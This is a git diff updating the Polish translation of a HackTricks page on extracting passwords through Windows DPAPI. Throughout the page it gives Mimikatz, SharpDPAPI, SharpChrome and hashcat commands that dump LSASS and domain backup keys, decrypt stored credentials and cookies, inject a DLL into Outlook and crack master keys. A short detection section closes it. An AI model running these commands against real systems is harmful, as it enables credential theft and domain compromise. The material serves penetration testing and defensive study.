mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
f20af6613b
commit
03ed4286fb
@ -1,4 +1,4 @@
|
||||
# DPAPI - Ekstrakcja Haseł
|
||||
# DPAPI - Wyodrębnianie haseł
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,31 +6,31 @@
|
||||
|
||||
## Czym jest DPAPI
|
||||
|
||||
Data Protection API (DPAPI) jest głównie wykorzystywane w systemie operacyjnym Windows do **symmetric encryption of asymmetric private keys**, wykorzystując tajemnice użytkownika lub systemu jako istotne źródło entropii. Takie podejście upraszcza szyfrowanie dla programistów, umożliwiając im szyfrowanie danych za pomocą klucza pochodzącego z tajemnic logowania użytkownika lub, w przypadku szyfrowania systemowego, tajemnic uwierzytelniania domeny systemu, eliminując w ten sposób potrzebę zarządzania ochroną klucza szyfrującego przez programistów.
|
||||
Data Protection API (DPAPI) jest głównie wykorzystywane w systemie Windows do **symetrycznego szyfrowania asymetrycznych kluczy prywatnych**, wykorzystując jako istotne źródło entropii sekrety użytkownika lub systemu. Podejście to upraszcza szyfrowanie dla deweloperów, pozwalając im szyfrować dane za pomocą klucza wyprowadzonego z danych logowania użytkownika lub, w przypadku szyfrowania systemowego, z sekretów uwierzytelniania domeny, dzięki czemu deweloperzy nie muszą sami zarządzać ochroną klucza szyfrującego.
|
||||
|
||||
Najczęstszym sposobem użycia DPAPI jest korzystanie z funkcji **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom na bezpieczne szyfrowanie i deszyfrowanie danych z sesji procesu, który jest aktualnie zalogowany. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
|
||||
Najczęstszym sposobem użycia DPAPI są funkcje **`CryptProtectData` i `CryptUnprotectData`**, które pozwalają aplikacjom bezpiecznie szyfrować i odszyfrowywać dane w kontekście sesji procesu aktualnie zalogowanego użytkownika. Oznacza to, że zaszyfrowane dane mogą być odszyfrowane tylko przez tego samego użytkownika lub system, który je zaszyfrował.
|
||||
|
||||
Ponadto, te funkcje akceptują również parametr **`entropy`**, który będzie używany podczas szyfrowania i deszyfrowania, dlatego aby odszyfrować coś zaszyfrowanego przy użyciu tego parametru, musisz podać tę samą wartość entropii, która była używana podczas szyfrowania.
|
||||
Ponadto te funkcje akceptują również parametr **`entropy`**, który jest używany podczas szyfrowania i deszyfrowania, zatem aby odszyfrować coś zaszyfrowanego z użyciem tego parametru, musisz dostarczyć tę samą wartość entropy, która była użyta podczas szyfrowania.
|
||||
|
||||
### Generowanie kluczy użytkowników
|
||||
### Generowanie klucza użytkownika
|
||||
|
||||
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie ich poświadczeń. Klucz ten jest pochodną hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, ale kończy się jako SHA1. Na przykład, dla użytkowników domenowych, **zależy od hasha HTLM użytkownika**.
|
||||
DPAPI generuje unikalny klucz (nazywany **`pre-key`**) dla każdego użytkownika na podstawie jego poświadczeń. Ten klucz jest wyprowadzany z hasła użytkownika i innych czynników, a algorytm zależy od typu użytkownika, lecz kończy się poprzez SHA1. Na przykład, dla użytkowników domenowych, **zależy on od NTLM hash użytkownika**.
|
||||
|
||||
To jest szczególnie interesujące, ponieważ jeśli atakujący może uzyskać hash hasła użytkownika, może:
|
||||
|
||||
- **Odszyfrować wszelkie dane, które zostały zaszyfrowane przy użyciu DPAPI** z kluczem tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
|
||||
- Spróbować **złamać hasło** offline, próbując wygenerować ważny klucz DPAPI
|
||||
- **Odszyfrować dowolne dane zaszyfrowane przy użyciu DPAPI** kluczem tego użytkownika bez potrzeby kontaktowania się z jakimkolwiek API
|
||||
- Spróbować **złamać hasło** offline, próbując wygenerować prawidłowy klucz DPAPI
|
||||
|
||||
Ponadto, za każdym razem, gdy dane są szyfrowane przez użytkownika przy użyciu DPAPI, generowany jest nowy **klucz główny**. Ten klucz główny jest tym, który faktycznie jest używany do szyfrowania danych. Każdy klucz główny jest przypisany z **GUID** (Globally Unique Identifier), który go identyfikuje.
|
||||
Co więcej, za każdym razem gdy użytkownik szyfruje jakieś dane za pomocą DPAPI, generowany jest nowy **master key**. To właśnie ten master key jest faktycznie używany do szyfrowania danych. Każdemu master key przypisywany jest **GUID** (Globally Unique Identifier), który go identyfikuje.
|
||||
|
||||
Klucze główne są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to identyfikator bezpieczeństwa tego użytkownika. Klucz główny jest przechowywany zaszyfrowany kluczem **`pre-key`** użytkownika oraz kluczem **kopii zapasowej domeny** do odzyskiwania (więc ten sam klucz jest przechowywany zaszyfrowany 2 razy przez 2 różne hasła).
|
||||
Master key są przechowywane w katalogu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gdzie `{SID}` to Security Identifier tego użytkownika. Master key jest przechowywany zaszyfrowany przez użytkownikowski **`pre-key`** oraz także przez **domain backup key** na potrzeby odzyskiwania (czyli ten sam klucz jest przechowywany zaszyfrowany dwukrotnie, dwoma różnymi sposobami).
|
||||
|
||||
Zauważ, że **klucz domeny używany do szyfrowania klucza głównego znajduje się w kontrolerach domeny i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do kontrolera domeny, może odzyskać klucz kopii zapasowej domeny i odszyfrować klucze główne wszystkich użytkowników w domenie.
|
||||
Zauważ, że **domain key używany do zaszyfrowania master key znajduje się na domain controllers i nigdy się nie zmienia**, więc jeśli atakujący ma dostęp do domain controllera, może odzyskać domain backup key i odszyfrować master key wszystkich użytkowników w domenie.
|
||||
|
||||
Zaszyfrowane bloby zawierają **GUID klucza głównego**, który został użyty do szyfrowania danych w swoich nagłówkach.
|
||||
Zaszyfrowane bloby zawierają w nagłówkach **GUID master key**, który został użyty do zaszyfrowania danych.
|
||||
|
||||
> [!TIP]
|
||||
> Zaszyfrowane bloby DPAPI zaczynają się od **`01 00 00 00`**
|
||||
> DPAPI encrypted blobs zaczynają się od **`01 00 00 00`**
|
||||
|
||||
Znajdź klucze główne:
|
||||
```bash
|
||||
@ -41,40 +41,41 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
|
||||
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||
```
|
||||
To, jak wygląda zestaw Master Keys użytkownika:
|
||||
This is what a bunch of Master Keys of a user will looks like:
|
||||
|
||||
.png>)
|
||||
|
||||
### Generowanie kluczy maszyny/systemu
|
||||
### Machine/System key generation
|
||||
|
||||
To jest klucz używany przez maszynę do szyfrowania danych. Jest oparty na **DPAPI_SYSTEM LSA secret**, który jest specjalnym kluczem, do którego dostęp ma tylko użytkownik SYSTEM. Klucz ten jest używany do szyfrowania danych, które muszą być dostępne dla samego systemu, takich jak poświadczenia na poziomie maszyny lub sekrety systemowe.
|
||||
To jest klucz używany przez maszynę do szyfrowania danych. Jest oparty na **DPAPI_SYSTEM LSA secret**, który jest specjalnym kluczem dostępnym tylko dla konta SYSTEM. Ten klucz służy do szyfrowania danych, które muszą być dostępne dla samego systemu, takich jak poświadczenia na poziomie maszyny lub sekretów systemowych.
|
||||
|
||||
Należy zauważyć, że te klucze **nie mają kopii zapasowej w domenie**, więc są dostępne tylko lokalnie:
|
||||
Zwróć uwagę, że te klucze **nie mają domain backup**, więc są dostępne tylko lokalnie:
|
||||
|
||||
- **Mimikatz** może uzyskać do nich dostęp, zrzucając sekrety LSA za pomocą polecenia: `mimikatz lsadump::secrets`
|
||||
- Sekret jest przechowywany w rejestrze, więc administrator mógłby **zmodyfikować uprawnienia DACL, aby uzyskać do niego dostęp**. Ścieżka rejestru to: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
- **Mimikatz** może uzyskać do niego dostęp, zrzucając LSA secrets za pomocą polecenia: `mimikatz lsadump::secrets`
|
||||
- Sekret jest przechowywany w rejestrze, więc administrator mógłby **zmodyfikować uprawnienia DACL, aby uzyskać do niego dostęp**. Ścieżka w rejestrze to: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
|
||||
### Chronione dane przez DPAPI
|
||||
|
||||
Wśród danych osobowych chronionych przez DPAPI znajdują się:
|
||||
### Protected Data by DPAPI
|
||||
|
||||
- Poświadczenia Windows
|
||||
- Hasła i dane autouzupełniania Internet Explorera i Google Chrome
|
||||
- Hasła do kont e-mail i wewnętrznych kont FTP dla aplikacji takich jak Outlook i Windows Mail
|
||||
- Hasła do folderów współdzielonych, zasobów, sieci bezprzewodowych i Windows Vault, w tym klucze szyfrowania
|
||||
- Hasła do połączeń z pulpitem zdalnym, .NET Passport oraz klucze prywatne do różnych celów szyfrowania i uwierzytelniania
|
||||
- Hasła sieciowe zarządzane przez Menedżera poświadczeń oraz dane osobowe w aplikacjach korzystających z CryptProtectData, takich jak Skype, MSN messenger i inne
|
||||
- Szyfrowane bloby w rejestrze
|
||||
Wśród danych osobistych chronionych przez DPAPI znajdują się:
|
||||
|
||||
- Windows creds
|
||||
- Internet Explorer i Google Chrome — hasła oraz dane autouzupełniania
|
||||
- Hasła do kont e-mail i wewnętrznych FTP używane przez aplikacje takie jak Outlook i Windows Mail
|
||||
- Hasła do udostępnionych folderów, zasobów, sieci bezprzewodowych oraz Windows Vault, w tym klucze szyfrujące
|
||||
- Hasła do połączeń z pulpitem zdalnym, .NET Passport oraz prywatne klucze używane do różnych celów szyfrujących i uwierzytelniających
|
||||
- Hasła sieciowe zarządzane przez Credential Manager oraz dane osobiste w aplikacjach używających CryptProtectData, takich jak Skype, MSN messenger i inne
|
||||
- Zaszyfrowane bloby wewnątrz rejestru
|
||||
- ...
|
||||
|
||||
Chronione dane systemowe obejmują:
|
||||
- Hasła WiFi
|
||||
- Hasła zadań zaplanowanych
|
||||
Do danych chronionych na poziomie systemu należą:
|
||||
- Hasła do WiFi
|
||||
- Hasła zaplanowanych zadań
|
||||
- ...
|
||||
|
||||
### Opcje ekstrakcji klucza głównego
|
||||
### Master key extraction options
|
||||
|
||||
- Jeśli użytkownik ma uprawnienia administratora domeny, może uzyskać dostęp do **klucza kopii zapasowej domeny**, aby odszyfrować wszystkie klucze główne użytkowników w domenie:
|
||||
- Jeśli użytkownik ma uprawnienia domain admin, może uzyskać dostęp do **domain backup key**, aby odszyfrować wszystkie master keys użytkowników w domenie:
|
||||
```bash
|
||||
# Mimikatz
|
||||
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||
@ -82,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
```
|
||||
- Posiadając lokalne uprawnienia administratora, możliwe jest **uzyskanie dostępu do pamięci LSASS**, aby wyodrębnić klucze główne DPAPI wszystkich podłączonych użytkowników oraz klucz SYSTEM.
|
||||
- Z uprawnieniami administratora lokalnego możliwe jest **access the LSASS memory** w celu wydobycia DPAPI master keys wszystkich zalogowanych użytkowników oraz SYSTEM key.
|
||||
```bash
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
```
|
||||
- Jeśli użytkownik ma lokalne uprawnienia administratora, może uzyskać dostęp do **DPAPI_SYSTEM LSA secret**, aby odszyfrować klucze główne maszyny:
|
||||
- Jeśli użytkownik ma uprawnienia administratora lokalnego, może uzyskać dostęp do **DPAPI_SYSTEM LSA secret** w celu odszyfrowania kluczy głównych maszyny:
|
||||
```bash
|
||||
# Mimikatz
|
||||
lsadump::secrets /system:DPAPI_SYSTEM /export
|
||||
```
|
||||
- Jeśli hasło lub hash NTLM użytkownika jest znane, możesz **bezpośrednio odszyfrować klucze główne użytkownika**:
|
||||
- Jeśli password lub hash NTLM użytkownika jest znany, możesz **bezpośrednio odszyfrować master keys tego użytkownika**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
|
||||
@ -100,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /password:PASSWORD
|
||||
```
|
||||
- Jeśli jesteś w sesji jako użytkownik, możliwe jest poproszenie DC o **klucz zapasowy do odszyfrowania kluczy głównych za pomocą RPC**. Jeśli jesteś lokalnym administratorem, a użytkownik jest zalogowany, możesz **ukraść jego token sesji** w tym celu:
|
||||
- Jeśli jesteś w sesji jako użytkownik, możliwe jest poproszenie DC o **backup key to decrypt the master keys using RPC**. Jeśli jesteś local admin i użytkownik jest zalogowany, możesz w tym celu **steal his session token**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||
@ -108,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
## Lista skarbców
|
||||
## Lista Vault
|
||||
```bash
|
||||
# From cmd
|
||||
vaultcmd /listcreds:"Windows Credentials" /all
|
||||
@ -116,16 +117,16 @@ vaultcmd /listcreds:"Windows Credentials" /all
|
||||
# From mimikatz
|
||||
mimikatz vault::list
|
||||
```
|
||||
## Uzyskiwanie dostępu do zaszyfrowanych danych DPAPI
|
||||
## Dostęp do zaszyfrowanych danych DPAPI
|
||||
|
||||
### Znajdź zaszyfrowane dane DPAPI
|
||||
|
||||
Typowe **pliki chronione** przez użytkowników znajdują się w:
|
||||
Typowe **chronione pliki** użytkowników znajdują się w:
|
||||
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
|
||||
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
|
||||
- Sprawdź również, zmieniając `\Roaming\` na `\Local\` w powyższych ścieżkach.
|
||||
- Sprawdź również zamianę `\Roaming\` na `\Local\` w powyższych ścieżkach.
|
||||
|
||||
Przykłady enumeracji:
|
||||
```bash
|
||||
@ -134,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) może znaleźć zaszyfrowane bloby DPAPI w systemie plików, rejestrze i bloby B64:
|
||||
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) może znaleźć zaszyfrowane DPAPI blobs w systemie plików, rejestrze i w B64 blobs:
|
||||
```bash
|
||||
# Search blobs in the registry
|
||||
search /type:registry [/path:HKLM] # Search complete registry by default
|
||||
@ -149,11 +150,11 @@ search /type:file /path:C:\path\to\file
|
||||
# Search a blob inside B64 encoded data
|
||||
search /type:base64 [/base:<base64 string>]
|
||||
```
|
||||
Zauważ, że [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (z tej samej repozytorium) może być użyty do odszyfrowania za pomocą DPAPI wrażliwych danych, takich jak ciasteczka.
|
||||
Zauważ, że [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (z tego samego repo) może być użyty do odszyfrowania za pomocą DPAPI wrażliwych danych, takich jak cookies.
|
||||
|
||||
### Klucze dostępu i dane
|
||||
|
||||
- **Użyj SharpDPAPI**, aby uzyskać poświadczenia z plików zaszyfrowanych przez DPAPI z bieżącej sesji:
|
||||
- **Użyj SharpDPAPI** aby uzyskać poświadczenia z plików zaszyfrowanych DPAPI z bieżącej sesji:
|
||||
```bash
|
||||
# Decrypt user data
|
||||
## Note that 'triage' is like running credentials, vaults, rdg and certificates
|
||||
@ -162,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
|
||||
# Decrypt machine data
|
||||
SharpDPAPI.exe machinetriage
|
||||
```
|
||||
- **Uzyskaj informacje o poświadczeniach** takie jak zaszyfrowane dane i guidMasterKey.
|
||||
- **Pobierz informacje o poświadczeniach** takie jak zaszyfrowane dane i guidMasterKey.
|
||||
```bash
|
||||
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
|
||||
|
||||
@ -172,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
|
||||
pbData : b8f619[...snip...]b493fe
|
||||
[..]
|
||||
```
|
||||
- **Dostęp do masterkey**:
|
||||
- **Access masterkeys**:
|
||||
|
||||
Zdeszyfruj masterkey użytkownika, żądając **klucza kopii zapasowej domeny** za pomocą RPC:
|
||||
Zdeszyfruj masterkey użytkownika żądającego **domain backup key** za pomocą RPC:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
|
||||
@ -182,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania masterkey (zauważ, że możliwe jest użycie `/rpc`, aby uzyskać klucz zapasowy domeny, `/password`, aby użyć hasła w postaci tekstu jawnego, lub `/pvk`, aby określić plik klucza prywatnego domeny DPAPI...):
|
||||
Narzędzie **SharpDPAPI** obsługuje także następujące argumenty do odszyfrowania masterkey (zwróć uwagę, że można użyć `/rpc`, aby uzyskać klucz kopii zapasowej domeny, `/password`, aby użyć hasła w postaci jawnej, lub `/pvk`, aby wskazać plik prywatnego klucza domeny DPAPI...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -194,7 +195,7 @@ Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania mas
|
||||
/server:SERVER - triage a remote server, assuming admin access
|
||||
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
|
||||
```
|
||||
- **Deszyfrowanie danych za pomocą klucza głównego**:
|
||||
- **Decrypt danych przy użyciu masterkey**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
@ -202,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||||
```
|
||||
Narzędzie **SharpDPAPI** obsługuje również te argumenty do deszyfrowania `credentials|vaults|rdg|keepass|triage|blob|ps` (zauważ, że możliwe jest użycie `/rpc`, aby uzyskać klucz zapasowy domeny, `/password`, aby użyć hasła w postaci czystego tekstu, `/pvk`, aby określić plik klucza prywatnego domeny DPAPI, `/unprotect`, aby użyć sesji bieżącego użytkownika...):
|
||||
Narzędzie **SharpDPAPI** obsługuje również te argumenty do odszyfrowywania `credentials|vaults|rdg|keepass|triage|blob|ps` (zauważ, że można użyć `/rpc`, aby uzyskać klucz kopii zapasowej domeny, `/password`, aby użyć hasła jawnego, `/pvk`, aby wskazać plik prywatnego klucza DPAPI domeny, `/unprotect`, aby użyć sesji bieżącego użytkownika...):
|
||||
```
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||||
@ -221,7 +222,7 @@ Targeting:
|
||||
Note: must use with /pvk:KEY or /password:X
|
||||
Note: not applicable to 'blob' or 'ps' commands
|
||||
```
|
||||
- Odszyfruj dane za pomocą **bieżącej sesji użytkownika**:
|
||||
- Odszyfruj niektóre dane przy użyciu **bieżącej sesji użytkownika**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
|
||||
@ -230,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
|
||||
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
```
|
||||
---
|
||||
### Obsługa opcjonalnej entropii ("Entropia zewnętrzna")
|
||||
### Obsługa opcjonalnej entropii ("Third-party entropy")
|
||||
|
||||
Niektóre aplikacje przekazują dodatkową wartość **entropii** do `CryptProtectData`. Bez tej wartości blob nie może być odszyfrowany, nawet jeśli znany jest poprawny klucz główny. Uzyskanie entropii jest zatem niezbędne, gdy celem są poświadczenia chronione w ten sposób (np. Microsoft Outlook, niektóre klienty VPN).
|
||||
Niektóre aplikacje przekazują dodatkową wartość **entropy** do `CryptProtectData`. Bez tej wartości blob nie może zostać odszyfrowany, nawet jeśli znany jest prawidłowy masterkey. Uzyskanie entropii jest więc niezbędne przy atakowaniu poświadczeń chronionych w ten sposób (np. Microsoft Outlook, niektóre klienty VPN).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) to DLL w trybie użytkownika, która przechwytuje funkcje DPAPI wewnątrz docelowego procesu i przezroczysto rejestruje wszelką opcjonalną entropię, która jest dostarczana. Uruchomienie EntropyCapture w trybie **DLL-injection** przeciwko procesom takim jak `outlook.exe` lub `vpnclient.exe` wygeneruje plik mapujący każdy bufor entropii do wywołującego procesu i blobu. Przechwycona entropia może być później dostarczona do **SharpDPAPI** (`/entropy:`) lub **Mimikatz** (`/entropy:<file>`), aby odszyfrować dane.
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) to user-mode DLL, który hookuje funkcje DPAPI wewnątrz procesu docelowego i transparentnie rejestruje wszelką dostarczoną opcjonalną **entropy**. Uruchomienie EntropyCapture w trybie **DLL-injection** przeciwko procesom takim jak `outlook.exe` lub `vpnclient.exe` wygeneruje plik mapujący każdy bufor entropy do procesu wywołującego i blobu. Przechwyconą entropię można później przekazać do **SharpDPAPI** (`/entropy:`) lub **Mimikatz** (`/entropy:<file>`) w celu odszyfrowania danych.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -242,21 +243,22 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
# Later decrypt a credential blob that required entropy
|
||||
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
### Łamanie masterkeyów offline (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft wprowadził format masterkey **context 3** począwszy od Windows 10 v1607 (2016). `hashcat` v6.2.6 (grudzień 2023) dodał tryby haszowania **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3), umożliwiając przyspieszone przez GPU łamanie haseł użytkowników bezpośrednio z pliku masterkey. Atakujący mogą zatem przeprowadzać ataki słownikowe lub brute-force bez interakcji z systemem docelowym.
|
||||
Microsoft wprowadził format masterkey **context 3** począwszy od Windows 10 v1607 (2016). `hashcat` v6.2.6 (grudzień 2023) dodał hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) i **22102** (context 3), umożliwiając przyspieszone na GPU łamanie haseł użytkowników bezpośrednio z pliku masterkey. Atakujący mogą dlatego przeprowadzać ataki słownikowe lub brute-force bez interakcji z systemem celu.
|
||||
|
||||
`DPAPISnoop` (2024) automatyzuje ten proces:
|
||||
`DPAPISnoop` (2024) automatyzuje proces:
|
||||
```bash
|
||||
# Parse a whole Protect folder, generate hashcat format and crack
|
||||
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
|
||||
hashcat -m 22102 bob.hc wordlist.txt -O -w4
|
||||
```
|
||||
Narzędzie może również analizować bloby Credential i Vault, odszyfrować je za pomocą złamanych kluczy i eksportować hasła w postaci tekstu jawnego.
|
||||
Narzędzie może także parsować Credential and Vault blobs, odszyfrowywać je za pomocą złamanych kluczy i eksportować hasła w postaci jawnej.
|
||||
|
||||
### Uzyskiwanie dostępu do danych z innych maszyn
|
||||
|
||||
W **SharpDPAPI i SharpChrome** możesz wskazać opcję **`/server:HOST`**, aby uzyskać dostęp do danych zdalnej maszyny. Oczywiście musisz mieć możliwość dostępu do tej maszyny, a w poniższym przykładzie zakłada się, że **klucz szyfrowania kopii zapasowej domeny jest znany**:
|
||||
### Dostęp do danych innej maszyny
|
||||
|
||||
W **SharpDPAPI and SharpChrome** możesz wskazać opcję **`/server:HOST`** aby uzyskać dostęp do danych zdalnej maszyny. Oczywiście musisz mieć dostęp do tej maszyny, a w poniższym przykładzie zakłada się, że **znany jest klucz szyfrowania kopii zapasowej domeny**:
|
||||
```bash
|
||||
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
|
||||
SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
@ -265,49 +267,49 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
|
||||
### HEKATOMB
|
||||
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie, które automatyzuje ekstrakcję wszystkich użytkowników i komputerów z katalogu LDAP oraz ekstrakcję klucza zapasowego kontrolera domeny przez RPC. Skrypt następnie rozwiązuje adresy IP wszystkich komputerów i wykonuje smbclient na wszystkich komputerach, aby odzyskać wszystkie DPAPI blobs wszystkich użytkowników i odszyfrować wszystko za pomocą klucza zapasowego domeny.
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) to narzędzie automatyzujące wyodrębnianie wszystkich użytkowników i komputerów z katalogu LDAP oraz wyodrębnianie klucza kopii zapasowej kontrolera domeny przez RPC. Skrypt następnie rozwiąże wszystkie adresy IP komputerów i wykona smbclient na wszystkich maszynach, aby pobrać wszystkie DPAPI bloby wszystkich użytkowników i odszyfrować wszystko przy użyciu klucza kopii zapasowej domeny.
|
||||
|
||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||
|
||||
Z listą komputerów wyekstrahowanych z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
|
||||
Dzięki liście komputerów wyodrębnionej z LDAP możesz znaleźć każdą podsieć, nawet jeśli ich nie znałeś!
|
||||
|
||||
### DonPAPI 2.x (2024-05)
|
||||
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) może automatycznie zrzucać sekrety chronione przez DPAPI. Wersja 2.x wprowadziła:
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) potrafi automatycznie zrzucać sekrety chronione przez DPAPI. Wydanie 2.x wprowadziło:
|
||||
|
||||
* Równoległe zbieranie blobs z setek hostów
|
||||
* Parsowanie **masterkeys kontekstu 3** i automatyczną integrację z Hashcat
|
||||
* Wsparcie dla zaszyfrowanych ciasteczek "App-Bound" w Chrome (patrz następna sekcja)
|
||||
* Nowy tryb **`--snapshot`**, aby wielokrotnie sprawdzać punkty końcowe i porównywać nowo utworzone blobs
|
||||
* Równoległe zbieranie blobów z setek hostów
|
||||
* Parsowanie masterkeyów **context 3** oraz automatyczna integracja z Hashcat do łamania haseł
|
||||
* Wsparcie dla szyfrowanych ciasteczek Chrome "App-Bound" (zob. następna sekcja)
|
||||
* Nowy tryb **`--snapshot`** do wielokrotnego sondowania punktów końcowych i porównywania świeżo utworzonych blobów
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser C# dla plików masterkey/credential/vault, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie uruchamiać łamanie. W pełni obsługuje formaty masterkey dla maszyn i użytkowników do Windows 11 24H1.
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) to parser w C# dla plików masterkey/credential/vault, który może wyprowadzać formaty Hashcat/JtR i opcjonalnie automatycznie wywoływać łamanie. W pełni obsługuje formaty machine i user masterkey do Windows 11 24H1.
|
||||
|
||||
## Typowe wykrycia
|
||||
|
||||
- Dostęp do plików w `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i innych katalogach związanych z DPAPI.
|
||||
- Szczególnie z udziału sieciowego, takiego jak **C$** lub **ADMIN$**.
|
||||
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do uzyskania dostępu do pamięci LSASS lub zrzutu masterkeys.
|
||||
- Wydarzenie **4662**: *Operacja została wykonana na obiekcie* – może być skorelowane z dostępem do obiektu **`BCKUPKEY`**.
|
||||
- Wydarzenie **4673/4674**, gdy proces żąda *SeTrustedCredManAccessPrivilege* (Menadżer poświadczeń)
|
||||
- Szczególnie z udziału sieciowego takiego jak **C$** lub **ADMIN$**.
|
||||
- Użycie **Mimikatz**, **SharpDPAPI** lub podobnych narzędzi do dostępu do pamięci LSASS lub zrzutu masterkeyów.
|
||||
